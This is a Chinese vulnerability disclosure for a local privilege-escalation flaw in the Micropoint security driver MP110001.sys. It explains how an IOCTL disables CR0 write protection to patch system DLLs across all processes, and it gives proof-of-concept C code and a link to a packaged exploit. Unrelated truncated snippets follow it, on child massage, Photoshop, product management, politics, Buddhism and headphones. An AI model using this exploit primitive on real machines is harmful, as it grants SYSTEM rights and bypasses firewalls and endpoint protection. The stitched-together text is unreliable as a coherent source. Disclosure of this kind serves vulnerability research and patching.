微点主动防御是一款号称使用行为分析技术实时保护的主动防御软件。 其核心驱动MP110001.SYS最新版本存在本地权限提升漏洞,可导致任何权限的用户在本地提升权限到SYSTEM权限,绕过UAC等保护。同时也可以利用此漏洞注入到任何受保护进程,从而穿透防火墙、主动防御软件。 出问题的组件:MP110001.sys,版本号:1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505该驱动提供了一个接口,允许RING3程序将一块数据COPY到地址0-0x80000000的任意 地址,在写入时会将寄存器CR0的第16位置0,此时CPU的页保护机制就会失效,WINDOWS NT 的CopyOnWrite机制也将失效,RING3程序可以将内存写入到系统模块,例如kernel32.dll, user32.dll的地址,改写它们的代码,此时对系统DLL代码的改写会在所有进程体内同时生效. 通过这一接口,任何权限的RING3程序就可以HOOK或旁路系统任何进程的函数调用,从而进行权限提升,如果HOOK进主动防御、防火墙等的进程体内,则可绕过主动防御软件的保护。 测试代码:HANDLE hdev = CreateFile("\\\\.\\MP110001" ,FILE_READ_ATTRIBUTES ,FILE_SHARE_READ |FILE_SHARE_WRITE ,0,OPEN_EXISTING ,0,0); if (hdev == INVALID_HANDLE_VALUE){ CHAR xx[100];sprintf(xx , "create err = %u\n" , GetLastError());MessageBox(xx, 0 , 0 );return ;} CHAR xx[] = "hello mp!"; HMODULE p = GetModuleHandle("ntdll.dll"); ULONG btr ; BOOL bret = DeviceIoControl(hdev ,0x220007,(PVOID)((ULONG)p + 2 ),strlen(xx)+1 ,xx,0,&btr ,0); CloseHandle(hdev); 测试代码会向NTDLL.DLL的DOS头第二个字节开始写入一个字符串“hello mp",此修改将在系统任何进程体内生效,可使用OD、WINDBG,WINHEX等工具查看 测试程序下载:http://mj0011.ys168.com 漏洞演示目录下LOCALexp_MP.rar
小儿泄泻是婴幼儿最常见的疾病之一,许多家长因害怕药物的副作用,越来越多地倾向于中医外治法,症状轻、单纯性的泄泻可以选择小儿推拿手法。那么,该如何操作呢? 1、常用推拿手法 推拿治疗小儿泄泻,一般选...
ps图层合并快捷键是ctrl E。开启ps,导进素材图片,点一下右下方的加号图标,建立新的涂层,alt delete填充颜色,选定涂层,最终应用键盘快捷键ctrl E就可以将2个图层合并。 知名品牌型...
产品经理关于产品的烦恼可能有很多,但是最致命的一点可能就是——没有人愿意用你的产品了。这就相当于你努力了半天,结果用户看都不看一眼,连知道为什么不行的机会都没有。那么产品经理到底该怎么办,才能解决这个...
6月20日上午,省委常委、市委书记张敬华在南京会见陕西商洛市委书记郭永红率领的党政代表团一行,围绕深入贯彻习近平总书记重要讲话指示精神,落实苏陕扶贫协作工作座谈会最新部署要求,共商决战决胜全面小康之年...
看破红尘,这个成语在我们日常生活中的出现多来自影视文化,那么你真的了解它的意思吗?在佛教中,看破红尘又是怎样一种超然物外精神? 彻悟六尘世界的虚幻不实,当下就是解脱自在。 必须看破红尘才能学佛吗?...
监听耳机,在大大都小白心目中或者是一个“高峻上”的存在,甚至在一些耳机发热友傍边,监听耳机就代表着“正确的声音”。“监听”两个字仿佛赋予了耳机一种专业的色彩,是否监听耳机就要比我们平时买到的耳机好许多...